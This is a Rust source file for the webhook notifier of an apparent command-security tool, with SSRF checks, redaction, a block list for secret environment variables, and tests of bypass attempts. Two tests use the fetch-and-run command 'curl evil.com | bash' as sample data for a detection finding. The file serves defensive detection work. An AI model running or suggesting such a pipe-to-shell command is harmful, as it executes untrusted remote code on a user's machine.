Skip to main content

tirith_core/
webhook.rs

1/// Webhook event dispatcher for finding notifications (Team feature).
2///
3/// Unix-only (ADR-8): depends on reqwest. Non-blocking: fires in a background
4/// thread so it never delays the verdict exit code.
5use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8/// Dispatch webhook notifications for a verdict, if configured.
9///
10/// Spawns a background thread per webhook endpoint. The main thread is never
11/// blocked. If any webhook delivery fails after retries, errors are logged
12/// to stderr.
13#[cfg(unix)]
14pub fn dispatch(
15    verdict: &Verdict,
16    command_preview: &str,
17    webhooks: &[WebhookConfig],
18    custom_dlp_patterns: &[String],
19) {
20    if webhooks.is_empty() {
21        return;
22    }
23
24    // Apply DLP redaction: built-in patterns + custom policy patterns (Team)
25    let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
26
27    let max_severity = verdict
28        .findings
29        .iter()
30        .map(|f| f.severity)
31        .max()
32        .unwrap_or(Severity::Info);
33
34    for wh in webhooks {
35        if max_severity < wh.min_severity {
36            continue;
37        }
38
39        // SSRF protection: validate webhook URL
40        if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
41            eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
42            continue;
43        }
44
45        let payload = build_payload(verdict, &redacted_preview, wh);
46        let url = wh.url.clone();
47        let headers = expand_env_headers(&wh.headers);
48
49        std::thread::spawn(move || {
50            if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
51                eprintln!("tirith: webhook delivery to {url} failed: {e}");
52            }
53        });
54    }
55}
56
57/// No-op on non-Unix platforms.
58#[cfg(not(unix))]
59pub fn dispatch(
60    _verdict: &Verdict,
61    _command_preview: &str,
62    _webhooks: &[WebhookConfig],
63    _custom_dlp_patterns: &[String],
64) {
65}
66
67/// Build the webhook payload from a template or default JSON.
68#[cfg(unix)]
69fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
70    if let Some(ref template) = wh.payload_template {
71        let rule_ids: Vec<String> = verdict
72            .findings
73            .iter()
74            .map(|f| f.rule_id.to_string())
75            .collect();
76        let max_severity = verdict
77            .findings
78            .iter()
79            .map(|f| f.severity)
80            .max()
81            .unwrap_or(Severity::Info);
82
83        let result = template
84            .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
85            .replace("{{command_preview}}", &sanitize_for_json(command_preview))
86            .replace(
87                "{{action}}",
88                &sanitize_for_json(&format!("{:?}", verdict.action)),
89            )
90            .replace(
91                "{{severity}}",
92                &sanitize_for_json(&max_severity.to_string()),
93            )
94            .replace("{{finding_count}}", &verdict.findings.len().to_string());
95        // Only use template result if it's valid JSON
96        if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
97            return result;
98        }
99        eprintln!(
100            "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
101        );
102    }
103
104    // Default JSON payload (also used as fallback when template produces invalid JSON)
105    let rule_ids: Vec<String> = verdict
106        .findings
107        .iter()
108        .map(|f| f.rule_id.to_string())
109        .collect();
110    let max_severity = verdict
111        .findings
112        .iter()
113        .map(|f| f.severity)
114        .max()
115        .unwrap_or(Severity::Info);
116
117    serde_json::json!({
118        "event": "tirith_finding",
119        "action": format!("{:?}", verdict.action),
120        "severity": max_severity.to_string(),
121        "rule_ids": rule_ids,
122        "finding_count": verdict.findings.len(),
123        "command_preview": sanitize_for_json(command_preview),
124    })
125    .to_string()
126}
127
128/// Expand environment variables in header values (`$VAR` or `${VAR}`).
129#[cfg(unix)]
130fn expand_env_headers(
131    headers: &std::collections::HashMap<String, String>,
132) -> Vec<(String, String)> {
133    headers
134        .iter()
135        .map(|(k, v)| {
136            let expanded = expand_env_value(v);
137            (k.clone(), expanded)
138        })
139        .collect()
140}
141
142/// Expand `$VAR` and `${VAR}` references in a string.
143#[cfg(unix)]
144fn expand_env_value(input: &str) -> String {
145    let mut result = String::with_capacity(input.len());
146    let mut chars = input.chars().peekable();
147
148    while let Some(c) = chars.next() {
149        if c == '$' {
150            if chars.peek() == Some(&'{') {
151                chars.next(); // consume '{'
152                let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
153                if !var_name.starts_with("TIRITH_") {
154                    eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
155                } else if is_sensitive_webhook_env_var(&var_name) {
156                    eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
157                } else {
158                    match std::env::var(&var_name) {
159                        Ok(val) => result.push_str(&val),
160                        Err(_) => {
161                            eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
162                        }
163                    }
164                }
165            } else {
166                // CR-6: Use peek to avoid consuming the delimiter character
167                let mut var_name = String::new();
168                while let Some(&ch) = chars.peek() {
169                    if ch.is_ascii_alphanumeric() || ch == '_' {
170                        var_name.push(ch);
171                        chars.next();
172                    } else {
173                        break; // Don't consume the delimiter
174                    }
175                }
176                if !var_name.is_empty() {
177                    if !var_name.starts_with("TIRITH_") {
178                        eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
179                    } else if is_sensitive_webhook_env_var(&var_name) {
180                        eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
181                    } else {
182                        match std::env::var(&var_name) {
183                            Ok(val) => result.push_str(&val),
184                            Err(_) => {
185                                eprintln!(
186                                    "tirith: webhook: warning: env var '{var_name}' is not set"
187                                );
188                            }
189                        }
190                    }
191                }
192            }
193        } else {
194            result.push(c);
195        }
196    }
197
198    result
199}
200
201#[cfg(unix)]
202fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
203    matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
204}
205
206/// Send a webhook with exponential backoff retry.
207#[cfg(unix)]
208fn send_with_retry(
209    url: &str,
210    payload: &str,
211    headers: &[(String, String)],
212    max_attempts: u32,
213) -> Result<(), String> {
214    let client = reqwest::blocking::Client::builder()
215        .timeout(std::time::Duration::from_secs(10))
216        .build()
217        .map_err(|e| format!("client build: {e}"))?;
218
219    for attempt in 0..max_attempts {
220        let mut req = client
221            .post(url)
222            .header("Content-Type", "application/json")
223            .body(payload.to_string());
224
225        for (key, value) in headers {
226            req = req.header(key, value);
227        }
228
229        match req.send() {
230            Ok(resp) if resp.status().is_success() => return Ok(()),
231            Ok(resp) => {
232                let status = resp.status();
233                // SF-16: Don't retry client errors (4xx) — they will never succeed
234                if status.is_client_error() {
235                    return Err(format!("HTTP {status} (non-retriable client error)"));
236                }
237                if attempt + 1 < max_attempts {
238                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
239                    std::thread::sleep(delay);
240                } else {
241                    return Err(format!("HTTP {status} after {max_attempts} attempts"));
242                }
243            }
244            Err(e) => {
245                if attempt + 1 < max_attempts {
246                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
247                    std::thread::sleep(delay);
248                } else {
249                    return Err(format!("{e} after {max_attempts} attempts"));
250                }
251            }
252        }
253    }
254
255    Err("exhausted retries".to_string())
256}
257
258/// Sanitize a string for safe embedding in JSON (limit length, escape special chars).
259fn sanitize_for_json(input: &str) -> String {
260    let truncated: String = input.chars().take(200).collect();
261    // Use serde_json to properly escape the string
262    let json_val = serde_json::Value::String(truncated);
263    // Strip the surrounding quotes from the JSON string
264    let s = json_val.to_string();
265    s[1..s.len() - 1].to_string()
266}
267
268#[cfg(test)]
269mod tests {
270    use super::*;
271
272    #[test]
273    fn test_sanitize_for_json() {
274        assert_eq!(sanitize_for_json("hello"), "hello");
275        assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
276        assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
277    }
278
279    #[test]
280    fn test_sanitize_for_json_truncates() {
281        let long = "x".repeat(500);
282        let result = sanitize_for_json(&long);
283        assert_eq!(result.len(), 200);
284    }
285
286    #[cfg(unix)]
287    #[test]
288    fn test_expand_env_value() {
289        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
290        unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
291        assert_eq!(
292            expand_env_value("Bearer $TIRITH_TEST_WH"),
293            "Bearer secret123"
294        );
295        assert_eq!(
296            expand_env_value("Bearer ${TIRITH_TEST_WH}"),
297            "Bearer secret123"
298        );
299        assert_eq!(expand_env_value("no vars"), "no vars");
300        unsafe { std::env::remove_var("TIRITH_TEST_WH") };
301    }
302
303    #[cfg(unix)]
304    #[test]
305    fn test_expand_env_value_preserves_delimiter() {
306        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
307        // CR-6: The character after $VAR must not be swallowed
308        unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
309        assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
310        assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
311        unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
312    }
313
314    #[cfg(unix)]
315    #[test]
316    fn test_expand_env_value_blocks_sensitive_vars() {
317        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
318        unsafe {
319            std::env::set_var("TIRITH_API_KEY", "secret-api-key");
320            std::env::set_var("TIRITH_LICENSE", "secret-license");
321        }
322        assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
323        assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
324        unsafe {
325            std::env::remove_var("TIRITH_API_KEY");
326            std::env::remove_var("TIRITH_LICENSE");
327        }
328    }
329
330    // -----------------------------------------------------------------------
331    // Adversarial bypass attempts: sensitive env var exfiltration
332    // -----------------------------------------------------------------------
333
334    #[cfg(unix)]
335    #[test]
336    fn test_bypass_sensitive_var_both_forms() {
337        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
338        unsafe {
339            std::env::set_var("TIRITH_API_KEY", "leaked");
340            std::env::set_var("TIRITH_LICENSE", "leaked");
341        }
342        // $VAR form
343        assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
344        assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
345        // ${VAR} form
346        assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
347        assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
348        // Embedded in header value
349        assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
350        assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
351        unsafe {
352            std::env::remove_var("TIRITH_API_KEY");
353            std::env::remove_var("TIRITH_LICENSE");
354        }
355    }
356
357    #[cfg(unix)]
358    #[test]
359    fn test_bypass_case_variation_is_different_var() {
360        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
361        // Unix env vars are case-sensitive: TIRITH_api_key != TIRITH_API_KEY
362        // The blocklist is exact-match, so a case variant is a DIFFERENT var.
363        // This is correct — TIRITH_api_key is not a real sensitive var.
364        unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
365        assert_eq!(
366            expand_env_value("$TIRITH_api_key"),
367            "not-sensitive",
368            "Case-different var name should expand (it's a different var)"
369        );
370        unsafe { std::env::remove_var("TIRITH_api_key") };
371    }
372
373    #[cfg(unix)]
374    #[test]
375    fn test_bypass_non_sensitive_tirith_var_still_expands() {
376        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
377        unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
378        assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
379        assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
380        unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
381    }
382
383    #[cfg(unix)]
384    #[test]
385    fn test_bypass_double_dollar_does_not_expand() {
386        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
387        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
388        // $$TIRITH_API_KEY: first $ sees second $ which is not '{' or alnum,
389        // so it becomes a literal '$', then the second $ starts a new expansion
390        // which hits the blocklist.
391        let result = expand_env_value("$$TIRITH_API_KEY");
392        assert!(
393            !result.contains("leaked"),
394            "Double-dollar must not leak: got {result}"
395        );
396        unsafe { std::env::remove_var("TIRITH_API_KEY") };
397    }
398
399    #[cfg(unix)]
400    #[test]
401    fn test_bypass_nested_braces_does_not_expand() {
402        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
403        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
404        // ${TIRITH_${NESTED}} — the inner ${...} is consumed as the var name
405        // "TIRITH_${NESTED" (take_while stops at '}'), which doesn't start
406        // with TIRITH_ in any meaningful way that resolves.
407        let result = expand_env_value("${TIRITH_${NESTED}}");
408        assert!(
409            !result.contains("leaked"),
410            "Nested braces must not leak: got {result}"
411        );
412        unsafe { std::env::remove_var("TIRITH_API_KEY") };
413    }
414
415    #[cfg(unix)]
416    #[test]
417    fn test_build_default_payload() {
418        use crate::verdict::{Action, Finding, RuleId, Timings};
419
420        let verdict = Verdict {
421            action: Action::Block,
422            findings: vec![Finding {
423                rule_id: RuleId::CurlPipeShell,
424                severity: Severity::High,
425                title: "test".into(),
426                description: "test desc".into(),
427                evidence: vec![],
428                human_view: None,
429                agent_view: None,
430                mitre_id: None,
431                custom_rule_id: None,
432            }],
433            tier_reached: 3,
434            bypass_requested: false,
435            bypass_honored: false,
436            interactive_detected: false,
437            policy_path_used: None,
438            timings_ms: Timings::default(),
439            urls_extracted_count: None,
440            requires_approval: None,
441            approval_timeout_secs: None,
442            approval_fallback: None,
443            approval_rule: None,
444            approval_description: None,
445        };
446
447        let wh = WebhookConfig {
448            url: "https://example.com/webhook".into(),
449            min_severity: Severity::High,
450            headers: std::collections::HashMap::new(),
451            payload_template: None,
452        };
453
454        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
455        let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
456        assert_eq!(parsed["event"], "tirith_finding");
457        assert_eq!(parsed["finding_count"], 1);
458        assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
459    }
460
461    #[cfg(unix)]
462    #[test]
463    fn test_build_template_payload() {
464        use crate::verdict::{Action, Finding, RuleId, Timings};
465
466        let verdict = Verdict {
467            action: Action::Block,
468            findings: vec![Finding {
469                rule_id: RuleId::CurlPipeShell,
470                severity: Severity::High,
471                title: "test".into(),
472                description: "test desc".into(),
473                evidence: vec![],
474                human_view: None,
475                agent_view: None,
476                mitre_id: None,
477                custom_rule_id: None,
478            }],
479            tier_reached: 3,
480            bypass_requested: false,
481            bypass_honored: false,
482            interactive_detected: false,
483            policy_path_used: None,
484            timings_ms: Timings::default(),
485            urls_extracted_count: None,
486            requires_approval: None,
487            approval_timeout_secs: None,
488            approval_fallback: None,
489            approval_rule: None,
490            approval_description: None,
491        };
492
493        let wh = WebhookConfig {
494            url: "https://example.com/webhook".into(),
495            min_severity: Severity::High,
496            headers: std::collections::HashMap::new(),
497            payload_template: Some(
498                r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
499            ),
500        };
501
502        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
503        assert!(payload.contains("curl_pipe_shell"));
504        assert!(payload.contains("curl evil.com"));
505    }
506}